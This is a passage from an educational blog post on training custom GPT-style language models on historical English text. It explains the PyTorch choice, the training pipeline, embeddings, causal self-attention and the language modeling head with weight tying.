&lt;li&gt;&lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;strong&gt;Part 2&lt;/strong&gt;
	&lt;/span&gt;
&lt;/a&gt; Building LLMs from Scratch - Part 2: Data Collection &amp;amp; Custom Tokenizers - detailed data collection and custom tokenizer development.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here, we build the complete training pipeline from a custom GPT architecture through deployment-ready checkpoints.&lt;/p&gt;
&lt;p&gt;This post demonstrates how to design custom model architectures, optimize GPU utilization, and implement comprehensive training pipelines that transform our 500M+ character historical corpus into two working language models.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ Educational Purpose&lt;/strong&gt;: This is a learning project designed to teach LLM development concepts. For production-scale LLMs, you&amp;rsquo;ll need significantly larger datasets, more sophisticated infrastructure, and additional considerations that are not covered in this post.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;As outlined in &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Part 1
	&lt;/span&gt;
&lt;/a&gt;, both the SLM (117M parameters) and the regular Model (354M parameters) use the same training code and pipeline (&lt;code&gt;04_training/train_model_slm.py&lt;/code&gt; and &lt;code&gt;04_training/train_model.py&lt;/code&gt;) with different configurations defined in &lt;code&gt;config.py&lt;/code&gt;. The training infrastructure, GPU optimization, checkpointing, and WandB integration are identical - only the model architecture parameters differ.&lt;/p&gt;
&lt;p&gt;Both PyTorch checkpoint inference and Hugging Face model inference are fully working and available. Both the SLM and the Regular model are published on &lt;a
	
		href = &#34;https://huggingface.co/bahree&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Hugging Face Hub
	&lt;/span&gt;
&lt;/a&gt;. Local PyTorch checkpoints can be used directly for inference with the &lt;code&gt;inference_pytorch.py&lt;/code&gt; script.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🔗 GitHub Repository&lt;/strong&gt;: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		github.com/bahree/helloLondon
	&lt;/span&gt;
&lt;/a&gt; - Complete training infrastructure (&lt;code&gt;04_training/&lt;/code&gt;), model architecture (&lt;code&gt;config.py&lt;/code&gt;), and GPU configuration (&lt;code&gt;08_documentation/GPU_TUNING.md&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;🧱 Series Posts&lt;/strong&gt;: &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/09/building-llm-from-scratch-part1/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Part 1 – Using the Published Historical Models
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Part 2 – Data Collection &amp;amp; Custom Tokenizer
	&lt;/span&gt;
&lt;/a&gt; | Part 3 (this post) | &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2026/01/building-llm-from-scratch-part4-evaluation-deployment/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Part 4 – Evaluation &amp;amp; Deployment
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;🤗 Published Models&lt;/strong&gt;: &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-slm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		SLM Model
	&lt;/span&gt;
&lt;/a&gt; | &lt;a
	
		href = &#34;https://huggingface.co/bahree/london-historical-llm&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Regular Model
	&lt;/span&gt;
&lt;/a&gt; - Ready-to-use historical language models on Hugging Face&lt;/p&gt;&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📚 Book Reference&lt;/strong&gt;: &lt;a
	
		href = &#34;https://a.co/d/ffzkJ7T&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Generative AI in Action
	&lt;/span&gt;
&lt;/a&gt; - For deeper understanding of core LLM concepts.&lt;/p&gt;&lt;/blockquote&gt;
&lt;h2 id=&#34;1-the-training-challenge-from-data-to-working-models&#34;&gt;1. The Training Challenge: From Data to Working Models&lt;/h2&gt;
&lt;p&gt;Now that we have our clean historical corpus and custom tokenizer from &lt;a
	
		href = &#34;https://blog.desigeek.com/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Part 2
	&lt;/span&gt;
&lt;/a&gt;, we need to transform this data into working language models. This isn&amp;rsquo;t just about running training scripts – it&amp;rsquo;s about designing an architecture that can learn from historical text, optimizing for the unique patterns of 1500-1850 English, and building infrastructure to handle the computational demands of language model training.&lt;/p&gt;
&lt;p&gt;The challenge with historical language modeling isn&amp;rsquo;t just having enough data - it&amp;rsquo;s having the right architecture and training process that can learn from the complex linguistic patterns in historical texts. Unlike modern text, historical English contains archaic vocabulary, period-specific terminology, and cultural references that require specialized attention mechanisms and training strategies.&lt;/p&gt;
&lt;h3 id=&#34;11-high-level-training-process-overview&#34;&gt;1.1 High-Level Training Process Overview&lt;/h3&gt;
&lt;p&gt;The model training pipeline transforms our clean historical data and custom tokenizer into working language models through several key stages:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;Model Architecture Design&lt;/em&gt; - involves a custom GPT implementation optimized for historical text patterns&lt;/li&gt;
&lt;li&gt;&lt;em&gt;GPU Configuration&lt;/em&gt; covers - multi-GPU training with precision optimization and memory management&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Training Infrastructure&lt;/em&gt; - includes distributed training, checkpointing, and experiment tracking&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Performance Optimization&lt;/em&gt; - encompasses mixed precision, compilation, and hardware-specific tuning&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Model Validation&lt;/em&gt; - covers testing and evaluation of trained models.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href=&#34;#fig1&#34; class=&#34;figure-ref&#34;&gt;Figure 1&lt;/a&gt; below illustrates this complete training pipeline:&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig1&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TD
    A[📚 Clean Historical Corpus&amp;lt;br/&amp;gt;500M+ characters] --&amp;gt; B[🔤 Custom Tokenizer&amp;lt;br/&amp;gt;30K vocab + 150+ special tokens]
    B --&amp;gt; C[🏗️ Model Architecture&amp;lt;br/&amp;gt;Custom GPT for Historical Text]
    
    C --&amp;gt; D[⚙️ GPU Configuration&amp;lt;br/&amp;gt;Multi-GPU + Precision Optimization]
    D --&amp;gt; D1[Mixed Precision&amp;lt;br/&amp;gt;bf16/fp16]
    D --&amp;gt; D2[Torch Compile&amp;lt;br/&amp;gt;JIT optimization]
    D --&amp;gt; D3[Memory Management&amp;lt;br/&amp;gt;Gradient checkpointing]
    
    D1 --&amp;gt; E[🏋️ Training Process&amp;lt;br/&amp;gt;60K iterations, checkpointing]
    D2 --&amp;gt; E
    D3 --&amp;gt; E
    
    E --&amp;gt; E1[SLM: 117M params&amp;lt;br/&amp;gt;7-8 hours training]
    E --&amp;gt; E2[Regular: 354M params&amp;lt;br/&amp;gt;28-32 hours training]
    
    E --&amp;gt; E3[WandB Integration&amp;lt;br/&amp;gt;Experiment tracking]
    E --&amp;gt; E4[Checkpointing&amp;lt;br/&amp;gt;Resume capability]
    E --&amp;gt; E5[Multi-GPU Support&amp;lt;br/&amp;gt;Distributed training]
    
    E1 --&amp;gt; F[📊 Model Evaluation&amp;lt;br/&amp;gt;Historical accuracy testing]
    E2 --&amp;gt; F
    E3 --&amp;gt; F
    E4 --&amp;gt; F
    E5 --&amp;gt; F
    
    F --&amp;gt; G{Quality OK?}
    G --&amp;gt;|Yes| H[🚀 Deployment&amp;lt;br/&amp;gt;Hugging Face + Local Inference]
    G --&amp;gt;|No| I[🔄 Retrain/Adjust]
    I --&amp;gt; E
    H --&amp;gt; J[💬 Text Generation&amp;lt;br/&amp;gt;Historical language output]
    
    style A fill:#e1f5fe
    style C fill:#f3e5f5
    style H fill:#e8f5e8
    style J fill:#fff3e0&lt;/pre&gt;
    &lt;figcaption&gt;Figure 1: Complete Training Pipeline&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;We will explore each of these components in detail, starting with the model architecture design, but first, let&amp;rsquo;s discuss why I chose PyTorch as the framework for this project.&lt;/p&gt;
&lt;h3 id=&#34;12-using-pytorch&#34;&gt;1.2 Using PyTorch&lt;/h3&gt;
&lt;p&gt;I chose PyTorch for this project based on three key factors: educational accessibility, integration with the research ecosystem, and practical convenience. PyTorch provides many components out of the box - transformer blocks, attention layers, feed-forward networks, training loops, and CUDA support - which makes it much easier for learners building their first language model.&lt;/p&gt;
&lt;p&gt;From a technical perspective, PyTorch&amp;rsquo;s memory management and GPU optimization features-including automatic mixed precision, gradient checkpointing, and efficient attention implementations well-suited for the resource-intensive task of training language models on historical text.&lt;/p&gt;
&lt;p&gt;PyTorch&amp;rsquo;s recent developments, such as &lt;strong&gt;&lt;code&gt;torch.compile&lt;/code&gt;&lt;/strong&gt;, &lt;strong&gt;&lt;code&gt;FlashAttention&lt;/code&gt;&lt;/strong&gt; kernels, and &lt;strong&gt;&lt;code&gt;SDPA&lt;/code&gt;&lt;/strong&gt; operator (scaled dot-product attention), provide significant performance improvements, making training more efficient. These improvements enhance both speed and memory efficiency, which are critical for scaling LLMs. Of course, in our case, we&amp;rsquo;re building a working toy example rather than scaling to production levels, and these optimizations help keep training times reasonable on available hardware.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What about other Frameworks?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;I also considered TensorFlow and JAX, but neither seemed right for &lt;strong&gt;&lt;code&gt;helloLondon&lt;/code&gt;&lt;/strong&gt;; TensorFlow&amp;rsquo;s API felt too complex, specifically from a beginner’s perspective. JAX has excellent performance and a clean, functional approach, but it&amp;rsquo;s more research-focused and has a smaller ecosystem, which would make it harder to follow along and experiment with.&lt;/p&gt;
&lt;h2 id=&#34;2-model-architecture-overview&#34;&gt;2. Model Architecture Overview&lt;/h2&gt;
&lt;h3 id=&#34;21-understanding-the-gpt-architecture&#34;&gt;2.1 Understanding the GPT Architecture&lt;/h3&gt;
&lt;p&gt;Our custom GPT (Generative Pre-trained Transformer) is a decoder-only transformer model designed for autoregressive language modeling on historical text. The architecture consists of four core components, each serving a distinct purpose in the sequence-to-sequence prediction pipeline. These are: token embeddings, position embeddings, causal self-attention mechanisms, and the language modeling head. Let us double-click into each component to understand its role and implementation.&lt;/p&gt;
&lt;h4 id=&#34;211-token-embeddings&#34;&gt;2.1.1 Token Embeddings&lt;/h4&gt;
&lt;p&gt;Token embeddings convert discrete token IDs from our 30,000-token historical vocabulary into dense, continuous vector representations. Each token (whether it&amp;rsquo;s a word, subword unit, or special token) is mapped to a point in a high-dimensional space (768 dimensions for SLM, 1024 for the regular model).&lt;/p&gt;
&lt;p&gt;This is implemented as a simple lookup table - &lt;strong&gt;&lt;code&gt;wte = torch.nn.Embedding(config.vocab_size, config.n_embd)&lt;/code&gt;&lt;/strong&gt;. When processing the token sequence, we look up the corresponding vector for each token ID. These embeddings are learned during training - the model learns which tokens should be close together in this vector space based on their co-occurrence patterns in historical text.&lt;/p&gt;
&lt;p&gt;For historical language models, this is particularly valuable because rare historical terms (like &amp;ldquo;yeoman&amp;rdquo; or &amp;ldquo;guildhall&amp;rdquo;) get their own representations that can capture contextual relationships with related terms from that era.&lt;/p&gt;
&lt;h4 id=&#34;212-position-embeddings&#34;&gt;2.1.2 Position Embeddings&lt;/h4&gt;
&lt;p&gt;Position embeddings encode each token&amp;rsquo;s absolute position within the sequence. This is crucial because, unlike recurrent models, transformer architectures have no inherent notion of temporal order or sequence position - they process all tokens in parallel. Let us double-click into the problem why.&lt;/p&gt;
&lt;p&gt;Think of it like reading words without any sense of order. The words &amp;ldquo;&lt;em&gt;The cat chased the mouse&lt;/em&gt;&amp;rdquo; would be indistinguishable from &amp;ldquo;&lt;em&gt;Mouse the chased cat the&lt;/em&gt;&amp;rdquo; - you&amp;rsquo;d see the same words but lose all meaning because you don&amp;rsquo;t know which word came first, second, or third. Transformers face exactly this problem because they process all words simultaneously rather than sequentially, unlike older RNN models.&lt;/p&gt;
&lt;p&gt;To help the model understand word order, we add position embeddings to the token embeddings. This way, each token&amp;rsquo;s representation includes information about both &amp;ldquo;what&amp;rdquo; the token is and &amp;ldquo;where&amp;rdquo; it appears in the sequence. We use learned position embeddings (as opposed to fixed sinusoidal patterns): &lt;strong&gt;&lt;code&gt;wpe = torch.nn.Embedding(config.block_size, config.n_embd)&lt;/code&gt;&lt;/strong&gt;. For the SLM with a 512-token context window, we learn 512 different position vectors (one for each possible position). Similarly, the regular model with a 1024-token context learns 1024 position vectors.&lt;/p&gt;
&lt;p&gt;Position embeddings work like giving each word a &amp;ldquo;timestamp&amp;rdquo; or &amp;ldquo;address&amp;rdquo; that tells the model where it sits in the sequence:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Token embedding&lt;/strong&gt; says: &amp;ldquo;This is the word &amp;lsquo;cat&amp;rsquo;&amp;rdquo; → converts to a vector like &lt;code&gt;[0.2, -0.5, 0.8, ...]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Position embedding&lt;/strong&gt; says: &amp;ldquo;This word is at position 3&amp;rdquo; → adds another vector like &lt;code&gt;[0.1, 0.3, -0.2, ...]&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Combined&lt;/strong&gt;: The model sees both &amp;ldquo;what&amp;rdquo; the word is AND &amp;ldquo;where&amp;rdquo; it appears&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The embedding vectors are combined element-wise: &lt;strong&gt;&lt;code&gt;x = token_emb + position_emb&lt;/code&gt;&lt;/strong&gt;. This allows the model to understand both what each token is (via the token embedding) and where it appears in the sequence (via the position embedding).&lt;/p&gt;
&lt;p&gt;Our model uses &lt;strong&gt;learned&lt;/strong&gt; position embeddings, meaning during training the model discovers that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Position 1 tends to be capitalized (start of sentence)&lt;/li&gt;
&lt;li&gt;Position 512 might be mid-sentence (needs different handling)&lt;/li&gt;
&lt;li&gt;Certain positions in historical documents have patterns (formal openings, closings, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is different from &lt;strong&gt;fixed&lt;/strong&gt; sinusoidal embeddings (used in the original Transformer paper), which use a mathematical formula to encode positions. Learned embeddings are generally better because they adapt to specific patterns in the training data.&lt;/p&gt;
&lt;p&gt;In historical texts, word order is crucial for understanding meaning. Consider &amp;ldquo;The King granted the land&amp;rdquo; versus &amp;ldquo;The land granted the King&amp;rdquo; - same words, completely different meanings. Historical legal documents and Victorian-era writings often have precise word order that changes legal or semantic meaning. Position embeddings ensure the model can distinguish between these critical variations.&lt;/p&gt;
&lt;h4 id=&#34;213-causal-self-attention&#34;&gt;2.1.3 Causal Self-Attention&lt;/h4&gt;
&lt;p&gt;Causal self-attention is the mechanism that allows each position in the sequence to selectively attend to previous positions. The &lt;em&gt;&amp;ldquo;causal&amp;rdquo;&lt;/em&gt; constraint ensures the model can only look at past tokens (not future ones), which is essential for autoregressive generation.&lt;/p&gt;
&lt;p&gt;When you read a sentence, you naturally use context from earlier words to understand later ones. If you see &amp;ldquo;The King granted the land to his loyal&amp;hellip;&amp;rdquo;, you can predict that &amp;ldquo;servant,&amp;rdquo; &amp;ldquo;knight,&amp;rdquo; or &amp;ldquo;subject&amp;rdquo; might come next because you remember what came before. The model needs to do the same thing - use previous words to predict the next word.&lt;/p&gt;
&lt;p&gt;However, there&amp;rsquo;s a crucial constraint: during training, when predicting word 7, the model must &lt;em&gt;only&lt;/em&gt; see words 1-6, never word 8 or beyond. This &amp;ldquo;causal&amp;rdquo; (cause-and-effect) constraint ensures the model learns realistic patterns - in the real world, you can&amp;rsquo;t use future information to predict the present.&lt;/p&gt;
&lt;h5 id=&#34;how-attention-works&#34;&gt;How Attention Works&lt;/h5&gt;
&lt;p&gt;Think of attention as a sophisticated &amp;ldquo;relevance detector&amp;rdquo;. When the model is processing the word &amp;ldquo;loyal&amp;rdquo; in our example above, it needs to look back and ask: &amp;ldquo;&lt;em&gt;Which previous words are most relevant for understanding this context?&lt;/em&gt;&amp;rdquo; The attention mechanism computes a weighted sum of all previous token representations, where the weights are determined by how relevant each previous token is to the current one.&lt;/p&gt;
&lt;p&gt;This is done through three learned linear projections that create different &amp;ldquo;views&amp;rdquo; of each word:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Query (Q)&lt;/strong&gt;: &amp;ldquo;What am I looking for?&amp;rdquo; - The current word asks a question&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Key (K)&lt;/strong&gt;: &amp;ldquo;What do I have to offer?&amp;rdquo; - Previous words advertise their content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value (V)&lt;/strong&gt;: &amp;ldquo;What information should I contribute?&amp;rdquo; - The actual information to pass forward&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let us see a practical example to help us grok the concept. Consider the historical phrase: &amp;ldquo;&lt;em&gt;The alderman of Cheapside, having served the city faithfully, was &lt;strong&gt;granted&lt;/strong&gt;&amp;hellip;&lt;/em&gt;&amp;rdquo;&lt;/p&gt;
&lt;p&gt;When processing &amp;ldquo;granted&amp;rdquo; the attention mechanism:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Creates a Query from &amp;ldquo;granted&amp;rdquo; asking &amp;ldquo;what context do I need?&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Compares this Query against Keys from all previous words&lt;/li&gt;
&lt;li&gt;Finds high relevance with &amp;ldquo;alderman&amp;rdquo; (who is being granted something) and &amp;ldquo;faithfully&amp;rdquo; (why the grant is happening)&lt;/li&gt;
&lt;li&gt;Uses these attention weights to pull relevant Values from those words&lt;/li&gt;
&lt;li&gt;Combines this information to understand better &amp;ldquo;granted&amp;rdquo; in context&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The attention score between token i and token j is computed as:&lt;/p&gt;
&lt;p&gt;$$\text{Attention}(Q_i, K_j) = \text{softmax}\left(\frac{Q_i K_j^T}{\sqrt{d_k}}\right)V_j$$&lt;/p&gt;
&lt;p&gt;Breaking this down:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$Q_i K_j^T$ computes how well the query from token &lt;em&gt;&lt;strong&gt;i&lt;/strong&gt;&lt;/em&gt; matches the key from token &lt;em&gt;&lt;strong&gt;j&lt;/strong&gt;&lt;/em&gt; (higher = more relevant)&lt;/li&gt;
&lt;li&gt;$1/\sqrt{d_k}$ is a scaling factor that prevents scores from getting too large (which would make softmax too &amp;ldquo;sharp&amp;rdquo;)&lt;/li&gt;
&lt;li&gt;$\text{softmax}$ converts scores into probabilities that sum to &lt;strong&gt;1&lt;/strong&gt; (so each word gets a weighted &amp;ldquo;vote&amp;rdquo;)&lt;/li&gt;
&lt;li&gt;Finally, we use these weights to combine the Values from all previous tokens&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The $1/\sqrt{d_k}$ scaling factor (where $d_k = 64$ for our SLM, so $\sqrt{64} = 8$) prevents the dot products from growing too large with high-dimensional embeddings, ensuring stable gradients during training. The softmax ensures the weights sum to &lt;strong&gt;1&lt;/strong&gt;, creating a proper probability distribution over the previous tokens.&lt;/p&gt;
&lt;h5 id=&#34;why-this-matters-for-historical-text&#34;&gt;Why This Matters for Historical Text?&lt;/h5&gt;
&lt;p&gt;Historical documents present unique challenges that make attention particularly valuable. Consider a legal document from 1750: &lt;em&gt;&amp;ldquo;John Smith, yeoman of the parish of St. Giles, being of sound mind and body, doth hereby bequeath&amp;hellip;&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The attention mechanism enables the model to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Connect &amp;ldquo;doth bequeath&amp;rdquo; back to &amp;ldquo;John Smith&amp;rdquo; across multiple clauses&lt;/li&gt;
&lt;li&gt;Understand that &amp;ldquo;yeoman&amp;rdquo; modifies &amp;ldquo;John Smith&amp;rdquo; even though they&amp;rsquo;re separated&lt;/li&gt;
&lt;li&gt;Learn that &amp;ldquo;doth&amp;rdquo; (archaic) and &amp;ldquo;does&amp;rdquo; (modern) serve similar grammatical functions&lt;/li&gt;
&lt;li&gt;Recognize that formal legal phrasing follows specific patterns&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For our historical language models, this attention mechanism learns which historical terms and phrases co-occur and relate to one another contextually - crucial for understanding historical documents where terminology and phrasing differ from modern English. The model learns to attend to relevant historical context, enabling it to generate coherent text that maintains period-appropriate language patterns and references.&lt;/p&gt;
&lt;h4 id=&#34;214-language-modeling-head&#34;&gt;2.1.4 Language Modeling Head&lt;/h4&gt;
&lt;p&gt;The language modeling head (also called the &amp;ldquo;output projection&amp;rdquo; or &lt;strong&gt;lm_head&lt;/strong&gt;) is the final translator that turns the rich internal representation (after all the attention + MLP refinements) back into a decision: &amp;ldquo;Given everything I&amp;rsquo;ve seen so far, what is the most likely next token?&amp;rdquo; It does this by mapping each hidden vector at every position into a vector of length equal to the vocabulary size (30,000 in our historical tokenizer). Each element of that output vector is a &lt;em&gt;logit&lt;/em&gt; - an unnormalized score indicating how likely the model thinks the token is to be the next one.&lt;/p&gt;
&lt;p&gt;Implementation is intentionally simple: &lt;strong&gt;&lt;code&gt;lm_head = torch.nn.Linear(n_embd, vocab_size)&lt;/code&gt;&lt;/strong&gt;. We don&amp;rsquo;t put an activation function after it because we want raw, unconstrained scores. Those scores then flow into:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Inference:&lt;/strong&gt; Apply softmax -&amp;gt; probabilities -&amp;gt; sample or greedy pick&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Training:&lt;/strong&gt; Feed logits + target token IDs into cross-entropy loss -&amp;gt; gradients flow backward&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;You can think of logits as &lt;em&gt;evidence totals&lt;/em&gt;. The softmax transforms those evidence values into a normalized probability distribution that the model can sample from. High logit = more supporting evidence; low logit = less.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step-by-step (Inference vs Training):&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Hidden state at last position (e.g., index 511) enters &lt;code&gt;lm_head&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Linear projection produces a 30,000-dimensional logit vector.&lt;/li&gt;
&lt;li&gt;In inference: &lt;code&gt;probs = softmax(logits / temperature)&lt;/code&gt;; optionally apply &lt;code&gt;top-k&lt;/code&gt;/&lt;code&gt;top-p&lt;/code&gt; filtering.&lt;/li&gt;
&lt;li&gt;Sample (or argmax) a token → append to sequence → repeat.&lt;/li&gt;
&lt;li&gt;In training: Cross-entropy compares logits to the true next token; loss scalar backpropagates through the head into all prior layers.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Because our vocabulary mixes common function words (&amp;ldquo;the&amp;rdquo;, &amp;ldquo;and&amp;rdquo;, &amp;ldquo;of&amp;rdquo;) with rare era-specific tokens (&amp;ldquo;yeoman&amp;rdquo;, &amp;ldquo;guildhall&amp;rdquo;, &amp;ldquo;paternoster&amp;rdquo;, &amp;ldquo;quoth&amp;rdquo;), the head must reliably distinguish both frequent and infrequent patterns. Rare historical tokens need &lt;em&gt;consistent&lt;/em&gt; representations from embedding -&amp;gt; transformer -&amp;gt; head so they are not forgotten. If their logits remained perpetually low, the model would never learn to generate them in authentic contexts.&lt;/p&gt;
&lt;p&gt;Logits (not probabilities) inside the model - We retain logits (raw, unnormalized scores) instead of immediately converting to probabilities because they yield numerically stable loss computation - PyTorch efficiently fuses &lt;code&gt;log_softmax&lt;/code&gt; with negative log-likelihood - allow cleaner gradient flow before any normalization (we only invoke softmax when we actually need a distribution), and enable flexible post-processing (temperature scaling, top-k or top-p filtering, repetition penalties) directly in score space without forcing an extra probability recomputation step.&lt;/p&gt;
&lt;p&gt;We reuse the input embedding matrix for the output projection to keep input and output semantics aligned and reduce parameter and memory traffic. This concept is called Weight Typing, which we will cover in detail in &lt;a
	
		href = &#34;#-222-weight-tying&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Section 2.2.2  -  Weight Tying
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We share the embedding and output projection weights (&lt;code&gt;self.transformer.wte.weight = self.lm_head.weight&lt;/code&gt;) so input token interpretation and next-token scoring occur in the &lt;em&gt;same semantic space&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Using the shared embedding matrix $E$ (shape $(V,d)$), the logits are computed with $\text{logits} = h \cdot E^T$, reusing the same rows used for token lookup. This saves parameters (~23.0M SLM, ~30.7M Regular), keeps gradients for rare historical tokens coupled, and reduces memory traffic (Press &amp;amp; Wolf, 2017; Inan et al., 2016). See Section 2.2.2 for detailed mechanics, benefits, and the historian/scribe analogy.&lt;/p&gt;
&lt;p&gt;In short, the &lt;code&gt;lm_head&lt;/code&gt; converts rich contextual understanding into next-token scores; with weight tying (details in Section 2.2.2) it stays efficient and semantically consistent.&lt;/p&gt;
&lt;h4 id=&#34;215-the-complete-flow&#34;&gt;2.1.5 The Complete Flow&lt;/h4&gt;
&lt;p&gt;The complete forward pass through our GPT model works as follows:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Input&lt;/strong&gt;: A sequence of token IDs (batch × sequence_length, e.g., 512 tokens)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Token Embedding&lt;/strong&gt;: Convert each token ID to a dense vector (768 or 1024 dimensions)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Position Embedding&lt;/strong&gt;: Add position information to each token&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transformer Blocks&lt;/strong&gt;: Pass through n_layer transformer blocks (12 for SLM, 24 for regular model), each containing:
&lt;ul&gt;
&lt;li&gt;Layer normalization&lt;/li&gt;
&lt;li&gt;Causal self-attention (with multiple heads)&lt;/li&gt;
&lt;li&gt;Residual connection&lt;/li&gt;
&lt;li&gt;Layer normalization&lt;/li&gt;
&lt;li&gt;Feed-forward MLP&lt;/li&gt;
&lt;li&gt;Residual connection&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Final Layer Norm&lt;/strong&gt;: Normalize the final hidden states&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Language Head&lt;/strong&gt;: Project to vocabulary logits (30,000 dimensions)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Output&lt;/strong&gt;: Probability distribution over next token&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This architecture design is conventional and follows the GPT-style pattern established by OpenAI&amp;rsquo;s GPT models. The traditional design is intentional - it allows for clear, educational learning from the implementation while being configured to work seamlessly with our historical tokenizer from Part 2.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;#fig2&#34; class=&#34;figure-ref&#34;&gt;Figure 2&lt;/a&gt; below illustrates the complete architecture for the SLM:&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig2&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TD
    A[Input Tokens&amp;lt;br/&amp;gt;512 tokens] --&amp;gt; B[Token Embedding&amp;lt;br/&amp;gt;30K vocab → 768 dim]
    A --&amp;gt; C[Position Embedding&amp;lt;br/&amp;gt;512 pos → 768 dim]
    B --&amp;gt; D[Add Embeddings]
    C --&amp;gt; D
    D --&amp;gt; E[Layer Norm]
    E --&amp;gt; F[Transformer Block 1&amp;lt;br/&amp;gt;12 heads, 768 dim]
    F --&amp;gt; G[Transformer Block 2&amp;lt;br/&amp;gt;12 heads, 768 dim]
    G --&amp;gt; H[...]
    H --&amp;gt; I[Transformer Block 12&amp;lt;br/&amp;gt;12 heads, 768 dim]
    I --&amp;gt; J[Final Layer Norm]
    J --&amp;gt; K[Language Head&amp;lt;br/&amp;gt;768 → 30K vocab]
    K --&amp;gt; L[Output Logits&amp;lt;br/&amp;gt;30K probabilities]
    
    subgraph &amp;#34;Key Specifications&amp;#34;
